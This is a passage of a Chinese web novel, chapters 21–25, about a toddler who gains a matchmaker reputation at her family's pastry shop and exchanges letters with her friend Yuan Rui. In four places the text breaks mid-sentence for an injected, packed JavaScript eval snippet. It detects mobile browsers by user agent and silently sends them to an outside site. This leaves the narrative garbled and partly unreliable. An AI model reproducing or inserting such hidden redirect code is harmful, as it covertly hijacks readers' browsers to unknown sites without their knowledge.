张婆子口齿伶俐,把事情经过直接讲出来。 前几日程张两家办喜事,中间还有个意外的小插曲。 张家忙碌的时候,二小姐想吃点心,差人去买。 张婆子顺口指派了自家闺女,还说让她去慧女点心沾沾喜气,说不定婚事就成了。 这本是件小事。 等张家跟程家仆从核对八月初八大定细节时,张婆子的闺女跟那日让点心的小子碰到。 那小子竟然是程家的家丁,倒是巧了。 一来二去两人迅速熟识。 张家主母知道此事后,笑着说好,临时让张婆子的闺女做了张家大小姐的贴身婢女,一起嫁到程家。 程家反应也快,真把两人婚事给定了,明摆着愿意喜上加喜。 婚姻大事,无论主家还是仆从,那都是大喜事。 谁家办事不图个和和美美。 苏茵茵下意识道:“那姐姐愿意吗。” 别乱点鸳鸯谱啊。 “愿意愿意,还是她先愿意的,那小子都登门来我家做客了。”看张婆子笑的合不拢嘴,苏茵茵终于放下心。 还好还好,愿意就行。 “所以我们两家也要在你们这定喜饼,数量没那样多,但小定大定成亲,绝对都在你们这。” 原锐察觉小宝宝松口气,轻轻给她拍拍后背。 谁料那张婆子竟然又道:“能不能让你家女儿再给我儿子看看,他的婚事也没着落啊。” 不要吧。 她又不是真的小红娘。 她不行啊。 苏茵茵紧紧抓住原锐的衣袖:“鸳鸯谱点错怎么办。” 原锐没开口,过了会道:“你点的,错不了。” 我点的,错不了? 我的小伙伴是不是太盲目了啊! 21. 第 21 章 第21章 苏茵茵一个劲摆手,她真的不行啊。 等到张婆子离开,她才松口气。 这谣言怎么越来越离谱了。 几次明明都是巧合! 不过确实给自家点心铺带来生意。 张婆子女儿的未来夫家很快过来定喜饼。 他们两家规矩没那样多,一次定亲,就在八月底,需要十八对喜饼。 婚宴在主家之后,需要八十八对喜饼。 十八对喜饼数量不多,苏娘子自己就可以完成。 但思索片刻,还是请了张婶娘王婶娘过来。 理由是前面店里离不开人,喜饼更不好耽搁。 两位婶子过来的时候,还带了时下刚结的果子,又带了新面过来。 不仅如此,还把卖麦子的银钱拿出来还债。 秋收过了,他们的日子也松快许多。 “今年收成不错,上面还统计了当过兵的人家,把咱们几家的税给免了一半。”张婶娘笑着道,“之前几次过来帮工,银子也都攒下了。” 王婶娘同样点头,粮税免了一半,对他们来说着实惊喜。 家里若有残疾的,人头税都给去了。 这对他们来说,实在是救命一般的。 两家算算银钱,准备把欠的外债都给还了。 不约而同,都准备先还苏家的。 苏家帮了他们太多,真是无以为报。 苏娘子并未拒绝,但先问道:“其他的外债若着急的话,先还了他们的吧。” 王婶娘不好意思道:“前两次在你这做工,就还了一部分,不着急的。” 谁家也不想欠钱过日子,自然能还就还。 既是这样,苏娘子才收下,不过帮工结束,苏娘子除了该付的工钱之前,又包了不少点心,让她们拿回去给家人吃。 看着他们日子越来越好,苏娘子心里很是高兴。 苏副使同样如此,私底下还同苏娘子道:“本以为朝廷不记得兄弟们,从边关回来之后,便无人在意。” 上司说朝廷内忧外患,所以没办法顾及。 本以为是推托之词,没想到竟然是真的。 现在减少税收,已经能让大家日子好过一些了。 也不知是不是这个原因,苏家这几日都有人登门还钱,虽说不是全都还清了,但肉眼可见的,过的没有之前那般贫苦。 苏茵茵跟哥哥在一旁练字,爹爹娘亲则在数钱。 如今家里多少银钱,根本不需要苏茵茵这个小娃娃操心,她只要当个小宝宝就行。 八月一过,天气逐渐转凉,苏茵茵穿上厚衣服的时候,忽然意识到,小伙伴原锐好几日没来了。 一直到九月中旬,时隔半个月没出现的原锐病恹恹出现。 苏茵茵快步过去:“原锐,你最近干什么去了呀。” 李锐渊嘴唇发白,几年前的经历随着天气愈发寒冷,再次进入梦境。 噩梦让他有些喘不过气,连课都停了。 这些话他并未说出,六岁的小孩只是低声道:“有事。” 说罢,李锐渊递过来一大盒东西,里面是宫中时兴的点心,还有几支好用的毛笔,再有七零八碎的小玩意儿。 李锐渊这才道:“我要出门一趟,估计天暖和了再回来。” 他这样下去肯定不行,皇后收拾好行装,跟往年一样带李锐渊去温泉山庄过冬。 温泉山庄到底暖和些,不容易做噩梦。 所以这一去,就是好几个月。 苏茵茵忽然想到,上次李锐渊离开,好像也是在天冷之后? 再次见面,就是三年后了。 这次小伙伴一走,不会又是三年时间吧。 苏茵茵倒没什么别的想法。 天下没有不散的筵席,走走留留的,都很正常。 小娃娃郑重道:“好呀,等你回来之后,咱们再一起练字。” “不过到时候,我可能已经学完所有蒙书了。” 李锐渊皱眉。 九月到明年二月,不过几个月时间。 要学完所有蒙书吗。 小宝宝很聪明,学完肯定没问题。 可她学完了,自己教什么。 “那我教你四书。” 苏茵茵认真想了想,三年时间,她大概四书也读完了吧。 苏茵茵如实答了,李锐渊再次沉默。 他的五经只是通读,还未正式开始学。 到时候他就没办法教小宝宝了。 只是几个月,就要错过这么多吗。 李锐渊唇色更白,他不想去温泉山庄了,即使那边的天气让他不会经常做噩梦。 苏茵茵开口道:“你等一下。” 说着,小跑回家,翻出她早就给原锐准备的生日礼物:“上次逛街买的,本打算等你生日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060896|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候送给你,没想到你要出远门。” 一个木头做的小狐狸,雕刻工匠手艺很好,圆滚滚的小狐狸眼睛眯起来,好像刚刚饱餐一顿,很开心的样子。 “希望你以后多吃些东西,也能长得胖胖的。” 苏茵茵把小狐狸塞到原锐手中,送上最衷心的祝福。 李锐渊看看木头胖狐狸,再看向小宝宝,低声道:“我也会给你准备生辰礼物。” 但小宝宝生辰在正月十五。 他那会,或许还躲在温泉山庄里。 李锐渊头一次觉得,自己这般没用。 不过是三年前的事,怎么还忘不了。 李锐渊有些站不稳,六岁小孩的头上都是汗水,吓得仆从们赶紧扶住他。 苏茵茵也被吓了一大跳,连忙问怎么了。 李锐渊沉默片刻,咬牙道:“你生辰的时候,我一定会回来的。” “一定。” 李锐渊握紧小胖狐狸扭头就跑。 不管到时候的天气有没有变暖,他都要回来。 苏茵茵颇有些摸不着头脑。 但她能感觉到,自己这个小伙伴的进食障碍或许有心理因素。 可惜她上辈子是个大学都没读的高中毕业生,不太懂这些。 还是那句话。 为什么别人穿越都在赚大钱! 只有她穿越在当小宝宝啊! 苏茵茵挠挠头,还是好好练字吧,字练好了,至少能帮家里记账。 家里生意好起来,账目也变多了。 回到铺子里,苏茵茵继续练字,苏娘子在那边招呼客人。 苏茵茵再次抬头。 怎么感觉有点不对劲。 最近一段时间来的客人,好像都是各家的仆从,还都是年轻丫鬟家丁小厮。 苏茵茵都看出来了,苏娘子装点心时也察觉不对劲。 他们过来买点心的目的,好像不一般。 至少不是冲着点心来的。 谁家买点心有这种对话啊。 “你今年多大。” “你家妹妹可有婚配。” “你家哥哥真的如此?” “竟然是这样。” “明日你还来吗。” “昨日那个小子真是没趣。” ??? 你们在干什么。 这是点心铺! 不是相亲角啊! 22. 第 22 章 第22章 自从张家婆子的事情传开之后,慧女点心每日都有人过来。 不单是为了买点心,还为了找合适的姻缘。 这年头,找个合适的人家不容易。 苏茵茵眼睁睁看着,自家店铺成了相亲角。 但听着听着,总觉得哪里不对劲。 “我家这孩子,人老实听话,很有上进心,有福气,配你家闺女肯定没错。” 原本以为是来买点心的小姑娘人都傻了。 她家在南城住,娘亲说北城这边有家点心铺很不错,所以拉着她过来买点心。 这,这是怎么回事? 怎么还有人说媒啊。 苏茵茵听着对方的话,眉头一皱。 “娘亲,你别聊了,买完点心咱们回家吧。”小姑娘很不好意思,她看到店里的小娃娃朝她笑,下意识也笑了下。 苏茵茵瞳孔地震。 若都是青年男女自己来相看,那也罢了。 这几日下来,青年男女的爹娘都过来了??? 分明拿这里当相亲角了啊。 当相亲角也不是不行。 但眼前情况分明不对劲,对方女孩子对此根本不知情啊。 眼看男方家长格外热络,那好话一套一套的,又道:“我们家孩子会过日子得很,孝顺懂事,你们一定合适。” 老实听话,有上进心,有福气。 还孝顺懂事。 怎么听都不错啊。 不顾自己女儿挣扎着想走,女方家长还真的动心了。 果然,这地方跟传言一样,来了就有好姻缘。 她女儿性格胆小,更不爱相亲,眼看年纪越来越大,难得有合适的,那就先相看相看。 苏茵茵眉头皱得更深了。 小姑娘的母亲刚要同意,只见店里的小姑娘撑着窗台,脆生生道:“老实听话,那除了老实,还有别的优点吗。” 啊??? 别说男方母亲了,就连周围人都看过来。 又听小娃娃道:“上进心,如何上进,做的什么活计,在什么地方谋生,可有积蓄存款?会不会因为上进心不顾家里?” ??? “有福气?一般说人有福气,基本都比较胖吧。” “还有孝顺懂事,是不是说明他极为听母亲的话,到时候婆媳若有矛盾,他听谁的。” 小娃娃嘴巴叭叭的,一口气说了这么多,偷偷喝口水。 小姑娘的母亲看向男方家里,等着她回答。 只见男方母亲脸颊涨红。 除了老实,还有别的优点吗。 好像没有。 上进心,她儿子一直在茶馆做事,来往的都是各家公子,怎么就没上进心了。 虽说挣不了多少银钱,但只要巴结上一个,以后吃穿不愁。 胖,也确实胖,走个十几步有些喘,但这都是福气啊。 懂事孝顺,这个一点也没错,在家里,她儿子绝对听她的! 谁料店里小姑娘话还没说完,继续道:“一边上进心,一边又说老实听话。” “这样的话术,好像有点矛盾吧。” 苏茵茵三言两语拆穿对方的谎言。 旁边有人认出这位男方家里的,小声道:“她儿子极胖,听说家里什么好吃好喝都紧着他,他的姐姐妹妹们瘦得跟猴一样。” 小姑娘的母亲脸色一变,拉着自家孩子往后退。 都怪她心急。 她是想让女儿找个好人家,不是推她进火坑! “再给我来十张椒盐饼。”小姑娘母亲直接给了银钱,“多谢了。” 要不是这家店铺的小姑娘,她差点就被人骗了。 可想而知,自家姑娘沾上这样的家里,名声都要毁掉。 苏娘子在一旁都傻眼了,不过还是装好点心,并对客人们道:“婚姻大事,还是要知根知底的好,咱们这只是点心铺,大家还是小心点。” 苏娘子的提醒恰到好处。 不过店里小娃娃也太聪明了吧。 三言两语之间,就找到对方的漏洞??? 让苏娘子意外的话,更多人凑过来,一定要让小娃娃掌掌眼。 苏茵茵在现代见多识广,知道这些相亲黑话,认真跟大家解释:“不要听对方说什么,要看对方有什么。” “一定要注意甄别。” 毕竟是在他们店门口相看的,若被骗了总归不好。 她方才听着对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060897|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的天花乱坠,实在忍不了啊! 众人看小娃娃的眼神更热切了。 以前都说小娃娃是小红娘,他们只当是开玩笑。 现在却觉得,苏茵茵是名副其实的! 一时间,慧女点心的生意又上一层楼。 就连苏娘子都在考虑,要不要再招个长久的人手。 只是他们店铺太小,若招人的话,肯定要再租间房子,用来做专门的厨房。 但是吧。 过来卖点心的人,真的是冲着点心来的吗。 苏娘子扶额。 谁家买卖靠小娃娃啊。 这又来一个“买”点心的,买点心时候装作不经意的问苏茵茵:“小宝宝,媒婆跟我家说了个亲。” “她说,对方人不算太高,有点爱玩,会疼人,想找个贤惠懂事的,觉得我家女儿特别合适。他家条件很好的,这样合适的。” “不算太高,就是特别矮。” “爱玩会疼人,家里至少有小妾。” “找个贤惠懂事的,就是想找个好欺负的。” “条件好到什么地步,值得这样受气吗。” 这些话在普通人说出来,或许显得刻薄。 但让个小不点娃娃来说,却好像很通透? 苏茵茵认真分析,也算帮大家避雷了? 殊不知,这样童言童语说出来,才更让人觉得震撼。 一个小娃娃都能看出来,他们怎么这样傻。 还有,她一个三岁的小孩子,自然有什么说什么,她能骗人吗。 原本只是汴京仆从内部在夸苏茵茵冰雪聪明,看人极准。 一时间,竟然传到不少贵人耳朵里。 苏茵茵对此还不知情,她正在认真记账。 这个月店铺的盈利,直接翻了一倍! 一倍啊! 苏娘子从不怀疑女儿的算数能力,但此时也傻眼。 靠着给人看姻缘。 盈利都翻倍了。 这,这比他们想象中还要厉害啊。 看着家里多出来的小鸡炖蘑菇。,苏茵茵握拳,她要继续努力,那样家里每日都能吃上肉了吧! 她爱吃肉! 她爱小鸡炖蘑菇! 23. 第 23 章 第23章 慧女点心在西市有了小小的名气。 不少人都知道,他们店里不仅点心好吃,还有个聪明的小红娘。 反正都要买点心,去她家看看也是顺路的事。 慧女点心开业还不到一年,已经有了回头客。 偷偷过来查看的苏家大房简直恨的牙痒痒。 二房可真有本事,开店跟他们抢生意也就罢了,还搞出这样的噱头。 什么小红娘,谁家小孩会那么聪明。 一想到自家生意每况愈下,大房恨的牙痒痒。 但正面找事,他们又不敢。 二房毕竟在兵马司做事,请同僚去他们店铺附近多巡几圈,他们就受不了。 苏茵茵探头探脑往外看,好像看到一个熟悉的身影,一转眼又没影了。 苏娘子把孩子抱下来:“宝宝不用一直站在窗口,累不累呀。” “不累。”苏茵茵觉得很快乐! 看着店里生意越来越好,肯定快乐呀。 小孩子干劲满满,苏娘子也觉得有趣。 与此同时,城北的苏家点心铺贴了张红纸在外面。 不就是当红娘吗,他们也可以。 只要能让生意好起来,做什么都成。 不少人围过来,好奇地看着红纸上写了什么。 上面的字很一般,好在意思还算明白。 “这是什么意思?他们要给顾客介绍姻缘?” “怎么听着那样耳熟啊。” “没看懂,这是什么意思。” “凡来店里购买点心着,皆可留下姓名年龄,店里帮忙配姻缘?” 还有这种好事?! 等会,怎么听着有些耳熟。 有人直接道:“这不是城西慧女点心做的事吗,怎么苏家点心铺也学上了。” 只听里面传来一句呵斥:“那慧女点心明明是学我家!” 啊? 里面的人走出来,说的理直气壮。 其实这话没说全。 苏伯娘想说的是,慧女点心的点心,都是学苏家点心的。 如果这么说,那也不对劲啊。 他们两家都是苏家手艺的传承,不存在谁学谁。 苏伯娘指着店铺名道:“这才是汴京最正宗的苏家点心铺!” “所以什么慧女点心,都是学我们的。” 苏伯娘说的理直气壮,还真忽悠不少人上当。 围观的人里面,不乏想着急成亲的,还真进门买了点心,填上自己的姓名年纪,想要什么对象等等。 如果苏茵茵在这,肯定大喊一句婚介所! 但这也不是正规婚介所啊。 既不验资,也不会审核情况,后面肯定埋着大雷。 可惜了,她就算在这,也不会多说的。 毕竟她这个小宝宝,可是很记仇的。 苏家点心铺一时间变得格外热闹。 店里收入还真的上升不少。 对此,苏娘子听到一些,但没放在心上。 他们一个在西城,一个在北城,八竿子打不着,何必在意。 唯一有些问题的,是如今的店面确实有些小了。 不仅如此,点心的制作也是个问题。 之前做的点心少,直接在家里做了之后,再拿到店里。 如今六种点心,还有额外的喜饼买卖,家里厨房就有些不够用。 而且现在天气冷,从家里拿到店里,基本上都凉了。 所以最好的办法,就是租下店铺后面的房子,改造成厨房,专门用来做点心。 苏娘子有些犹豫,一方面担心租金成本增加,另一方面又对此着实心动。 对此,她的女儿直接举手表决:“我支持娘亲!” “娘亲做的点心好吃,店里生意一定会更好的!” 苏副使,儿子苏显也立刻赞同。 既然全家都同意,那也没什么好说的了。 做,立刻就做。 慧女点心的店面并不大,内里站三个人都嫌挤,店面的后方倒是有两间屋子,一个做厨房,另一个可放原料。 房东听说苏娘子要租房,大手一挥道:“别人要租,我还要看看,你家要租,租金都要给你家便宜些。” 啊? 为何。 房东摸着胡子,笑眯眯的:“你们没发现,因为你家点心铺,这西市巷尾的生意都好些了。” 人一多,店铺租出去的就快。 慧女点心隔壁,就有人要租下呢。 苏家人果然是有福气的。 苏茵茵心道,房东不愧是房东,眼光果然不同啊。 房东爽快,苏娘子这边也利落。 厨房的泥瓦匠则是苏副使寻的人,他在外话也不多,但为人仗义,交友极广。 平日就罢了。 遇到事才知道,他们家的人缘这般好。 或许就是爹爹娘亲平日种善因的缘故? 苏茵茵铺开纸张,把家里零零碎碎的事情写下来。 以前都是说给原锐听,现在他出远门,两人只能通信了。 但想来,他去的地方应该不远? 隔三差五就托人送来好吃的好玩的。 这次用的纸张是爹爹上次给她买的桂花纸,上面还有桂花的香味。 展信开心: 原锐谢谢你送的礼物,但你送的毛笔太多啦,我真的用不完。 你最近过的怎么样,汴京最近好冷,可能要下雪了,你那怎么样。 希望你能遇到喜欢的食物。 对了!一定少送少送东西,多多吃饭。 落款是苏茵茵。 再来送东西的仆从收到信件十分诧异。 这么小的娃娃,都能写信了? 让苏茵茵意外的是,不到六日的时间,她竟然就收到回信。 展信开心: 收到你的信很开心,毛笔你可以换着用。 我这一切都好,给你送了一双鹿皮靴子,很保暖,下雪了记得穿。 冬天太冷了,很不好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060898|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 落款是原锐。 两个小朋友的信件一直到十月份下雪才停。 苏茵茵收到一整套过冬的衣物。 毛茸茸的狐皮小帽子,还有厚实的衣裳,以及暖和的小鹿皮靴子。 不仅苏茵茵有,就连哥哥苏显都收到一顶圆乎乎的小帽。 苏副使的护膝,再有苏娘子的围脖。 原锐虽然好久没来了,但好像从来没走过一样。 苏家夫妇看着送来的物件,心里还有些发愁。 东西都是好东西,但怎么还人情是个事。 他们家也还不起啊。 对此苏茵茵倒是看得开:“原锐不会在意这些的,我们肯定会还得起。” 现在还不起,以后还啊。 苏显点头:“是的,等我考上功名,一定可以还的。” 说到功名,苏显在新学堂明显更加用功,每日起早贪黑,便是如今下雪,私塾也是不停课的。 果然,鸡娃的学校从古到今都有。 天气越发冷,慧女点心的新厨房也终于建好。 以后店里可以卖热乎乎的点心了! 苏娘子对新厨房爱不释手。 里面有三个烤炉,四个灶台,不仅可以满足平日需求,马上要做的大订单喜饼,也有地方放了。 进到冬日,程张两家的婚事愈发近了。 程家来了好几趟,确定慧女点心准备妥当,这才放心,更是提前给了定金。 苏娘子为此,提前寻了帮忙的娘子们。 之前做惯了的张婶娘等人肯定要喊的,再远的娘子们来不了,又托了兵马司不少兵卒的娘子过来帮忙。 这是苏副使提议的。 马上过年,也让自己手底下的兵卒家里多个进项。 对此苏娘子自然愿意,而且兵卒家眷大多做事利落,用起来更放心。 程张两家婚事在十一月十八。 他们要提前三天做出两千对喜饼,其中多的一百多对则是补余。 苏娘子做事细致,完全不用担心。 苏茵茵紧张的握住笔杆子,作为家里的账房小女子,她一定要记好进账出账,不会有一丝遗漏。 对此苏娘子很放心。 她总感觉,便是自己来记账,都没有女儿记得清晰。 新厨房第一次使用,就是用来做这么大的订单。 请来的近二十个娘子,就在新厨房里忙忙碌碌,顺便还能照顾到门面,简直再好不过。 “鸡蛋,面粉,糖,油。” “这些数量都齐全了。” “如果还需要,直接差人打个招呼即可,我们立刻送上门。” 送货的粮油店小伙计看着眼前的小娃娃,惊奇道:“你能从一数到一百吗。” 这么小的孩子过来点货,可以吗? 苏茵茵蹲下数到最后一个,托腮道:“可以啊。” 伙计往账册上一看。 何止能数到一百,分明还会九九口诀。 现在的小孩子,都这样厉害吗? 24. 第 24 章 第24章 八天时间,两千对喜饼,从制作到包装,最后送到程家府上,中间需要格外耐心细致。 苏茵茵早早跟着娘亲去店里,立刻开始干活。 程家甚至派了个管事的婆子过来,就怕哪里出错。 忙了大半年的婚事,片刻都不能松懈。 苏茵茵一来,先跟婶娘们打招呼,小跑到娘亲跟程家婆子旁,笑眯眯道:“婆婆早上好。” 程家婆子越看越喜欢这小娃娃,长得粉雕玉琢不说,人也机灵,喝着热茶笑道:“主家婚事忙到现在,也算在你家最清闲。” 事顺畅,人看得也舒心。 婚事说起来简单,但内里需要忙的太多了。 他们又是男方家里,生怕哪里出差错让亲家亲朋们看笑话。 两千对喜饼,需要揉几百斤的面,打上千个鸡蛋。 便是包裹喜饼的油纸都要裁两千张。 无论是哪项活计,都不是轻松的。 尤其是揉面,想要做出好吃的饼子,这点绝对不能含糊。 请来帮忙的一二十娘子,没有一个偷懒的。 大家都格外珍惜做活的机会。 再说,平日承蒙苏家照顾,若这活干不好,那还有脸登门去苏家吗。 小小两间屋子里,每个人都在认真做事。 即使是寒冬时节,都能看到大家额头上的汗水。 苏茵茵在一旁看着,帮着娘子们倒茶。 很多人对古代有刻板印象,以为古代女子只管内宅的事。 其实哪有那么简单,多数女子既要管内宅,同样也需要做工,她们的力气一点也不小。 苏茵茵忙来忙去,倒是让大家多了个趣事。 其中一位娘子性格爽朗,还提起小红娘的传言,她住在北城,压低声音道:“说起来,北城的苏家点心,就是你们大伯家吧。” 苏茵茵点头,苏娘子也道:“是,那是大房家的,不过我们早就分了家。” 手艺都是从婆婆那学的,算是两家人了。 这位娘子听话听音,又想到一些传言,这才敢把自己听来的八卦讲出。 “苏家点心铺出事了,你知道不。”赵娘子向来爱说笑,此刻提起这事,不少娘子都看过来。 出事? 苏娘子最近极忙,根本不知道出了什么事。 苏茵茵倒是一脸好奇,做了个合适的捧哏:“出了什么事啊。” “他们不是在撮合姻缘吗,谁知道把一个女子许给了两个人家。” “现在两家男方天天上门闹事,要个解决方法。” 啊? 一女二嫁? 这要是闹到公堂上,定然要治罪的。 治的当然是苏家大伯的罪。 “发生了什么啊。” “怎么会有如此荒唐的事。” “我好像也听说了,好像是登记情况的男子多,女子少,那个点心铺为了多赚钱,就故意把女方介绍给两家,谁知道两家都相中了。” 屋子里越说越热闹,苏茵茵不知道从哪摸来一把瓜子,听的津津有味。 “女方家怎么说啊。” “女方觉得晦气,但事情都说到这了,估计要在这两家里选一家。” 但现在不管选谁,肯定有一方不满意。 啧啧,婚介所不是谁都能当的啊。 大家开开玩笑,怎么大伯家还当真了。 苏娘子想到那俩夫妇的为人,倒是不觉得奇怪。 屋子里众人一边闲聊一边做工,效率竟然增加了,就连程家派来的婆子都忍不住加入八卦。 从宅院里的小厮女使,再到庄子里的奇闻轶事,苏茵茵瓜子都磕的上火了。 一直到十一月十五,两千份喜饼大功告成。 只要如约送到程家,拿到剩下的尾款,这场差事也算圆满了。 结了剩下的银钱,大家都能过个好年。 苏茵茵这次没跟过去,程家婆子说,现在那边事多人多,大人去就好。 苏茵茵乖乖在店里等着,眼神期盼地看着门口,只等着娘亲回来。 直到傍晚时分,苏娘子迈着欢快的步伐回来。 她口袋里沉甸甸的,脸上带着喜气。 喜饼无误。 程家那边很满意。 太好了! 她们这么多日的辛苦没有白费。 苏茵茵偷偷握拳。 真好! “成了。” “说我们的喜饼合格。” “主家喜欢就好。” “咱们用心做的,肯定很好。” 娘子们同样高兴,这还是不少人头一次做工,就做得格外好。 兴奋过后,还有另一件重要的事。 眼看天就要黑了,苏娘子看向女儿。 开始发工钱了! 对于算数这事,苏娘子十分信任女儿。 苏茵茵现在不仅会算,还能写,只是个子矮,要站着记账目。 “张婶娘,共计十日工,一共五百文。”苏娘子数钱,苏茵茵记账。 邻居刘婶子帮着做些杂事。 二十个人,总算在天黑之前领完所有工钱。 就住在京城,或者有人来接的娘子,这会就可以走了,若要等明日天亮再回家的,可以在这再住一晚。 店里气氛更和睦了。 虽说从早忙到晚,但实在值得啊。 最后一日,还只做了半日工。 不少娘子都知道,这是苏娘子照顾她们,这才找了同僚旧友家眷过来。 此份恩情,她们一直惦念着。 其中还有些娘子私底下要还债,被苏娘子婉拒了。 马上过年,谁家都不宽裕。 等到开春还要买粮种,那时候青黄不接,日子不好过。 都是苦过来的,明白什么时候最缺钱。 苏娘子向来如此,人宽厚,当年承大家的照顾,现在不留余地照顾别人。 发到最后,苏茵茵落下最后一笔,就听娘亲说:“苏茵茵,十日工,五百文。” 她也有? “先发五十文,剩下的娘亲帮你存起来。” 苏茵茵小手拿着一小串铜钱。 五十个! 好多啊。 至于娘亲说存起来,那肯定会存。 娘亲说的话,从来都算数。 苏茵茵喜滋滋地抱住五十枚铜钱,正儿八经在账本上记下自己的名字。 苏娘子抱着女儿笑,心里的大石头终于落地。 这些日子过得不容易,事情多,麻烦也多。 可只要看到女儿乖乖一直陪着她,不仅不添乱,还努力帮她解决麻烦,苏娘子就好像有无限的动力。 无论发生什么事,女儿都是她的动力跟支持。 回到家中,苏茵茵还算了这次的盈利。 虽说因为这事,慧女点心还关了几日的门,等事情顺了之后,才又重新开门营业。 但单程张婚宴的喜饼,便有三十七两七钱的毛利。 去掉工钱,租金,材料费等等,还有十五两的盈利。 十五两,抵得上店铺盈利两个月还多了。 好多钱呀。 苏茵茵眼睛都亮了。 晚上,苏茵茵抱着自己的五十文睡得迷迷糊糊,屋内炭火让她偷偷把小脚伸到被子外面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060899|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒冷的冬夜对她来说,依旧温暖。 不知道原锐怎么样了。 他好像很怕冷。 说起来,他们两个近两个月都没通信了吧。 程张两家的婚事结束,也就意味着要到年底了。 汴京的雪下得极厚,越接近年关,路上行人越少。 苏娘子提前备好两份年货,其中一份由苏副使送到老家苏奶奶那,确保冬日炭火衣食都充足。 等到十二月底时,各家各户该买年货的买完了,店铺基本都关上门。 就连哥哥所在的私塾也彻底放假,这种价格昂贵的私塾,轻易不停课,夫子会尽心尽力教完每一日。 家中只有苏副使早出晚归,兵马司众人日夜巡守,越是年关,越是忙碌。 就算如此忙碌,苏副使还抽空给女儿做了个储蓄罐。 按照女儿的话说:“我想存钱呀。” 五十文钱不能总抱着,她想要一个存钱罐! “这样的可以吗。”苏副使手里拿着一个方方正正的木盒子,只有顶端有个开口。 开口极小,连苏茵茵这样的小手都伸不进去,顶多塞进去铜钱跟极散碎的银子。 苏茵茵用力点头:“可以,谢谢爹爹。” 她请爹爹帮忙做的存钱罐。 娘亲给的钱,可以存里面了。 上辈子的她一直想要一只猪猪存钱罐,没想到上辈子没有,这辈子却得到,还是爹爹亲手做的,不是猪猪形状的,那也很好了。 苏副使并未直接给她,又道:“这个存钱办法好,只能存不能取。” 说罢继续道:“等爹爹把周围打磨好再给你,木头有刺,容易伤到手。” 苏茵茵再次点头,迟疑片刻,小声道:“爹爹能把存钱罐做成小猪模样吗。” 小猪? 苏茵茵赶紧跑过去,在纸上画了个猪猪存钱罐的模样。 苏副使沉思片刻:“可以,等着。” 只做个方方正正的存钱罐很简单,但要做成圆润的猪猪就难了。 但女儿开口,苏副使怎么可能做不到。 在北城兵马司休息间隙,苏副使便着实做猪猪。 不到几日时间,整个北城兵马司都知道,苏副使在给女儿做玩具。 前来巡视的宁郡王摸摸也忍不住笑。 宁郡王知道自己这个下属的女儿,当年这个小娃娃满月的时候,他还差人送过礼物。 都说那小姑娘既可爱又聪明,怪不得当爹的这样宠。 说起来,他家是不是还有个点心铺,让自家夫人去照顾照顾生意好了。 这样既忠义又爱护家人的下属,是该多多照拂。 赶在年前,苏茵茵想要的小猪猪存钱罐终于做成,不仅有可爱的猪鼻子,后面甚至用干枯的葫芦藤做个小尾巴。 这个存钱罐对苏茵茵来说有些大,可她抱着的时候爱不释手。 真的可爱啊。 猪鼻子憨厚可掬,小尾巴也很有意思。 苏茵茵眼里都是惊喜。 哥哥苏显看着,直接对他爹道:“我要个方盒子就行。” 他可以理解存钱,但不能理解为什么是猪猪的! 话是这么说,苏副使把儿子那个存钱罐也打磨好,确定不会伤着孩子。 只是他在兵马司做存钱罐的时候,怎么同僚们有样学样,都在学着做啊。 存钱罐到手,苏茵茵把五十枚铜钱一枚一枚放里面,小小的许了个愿望。 希望这个存钱罐早日存满。 那时候,她就长大了吧? 苏茵茵郑重地把存钱罐放在床头,一眼就能看到的位置。 快快存满,快快长大。 25. 第 25 章 第25章 “又来了两个喜饼的订单。” 苏茵茵收下定金,记好账目,并记下对方什么时候需要。 自从程张两家婚事办完,陆陆续续三四家都来寻慧女点心,想在这定喜饼。 只要吃过苏娘子做的喜饼,都知道这里包装的好,用料也好,绝对拿得出手。 眼看家里生意越来越好,一家人都是高兴的。 但他们家越高兴,城北的苏家点心就更觉得刺眼。 苏大伯家铺子的闹剧,传得沸沸扬扬,听说至今也未解决。 明明要赶在年节前大赚一笔,谁料出了这档子事,许多顾客都不想进去 要不是有些苏家的老主顾,估计店都要开不下去了。 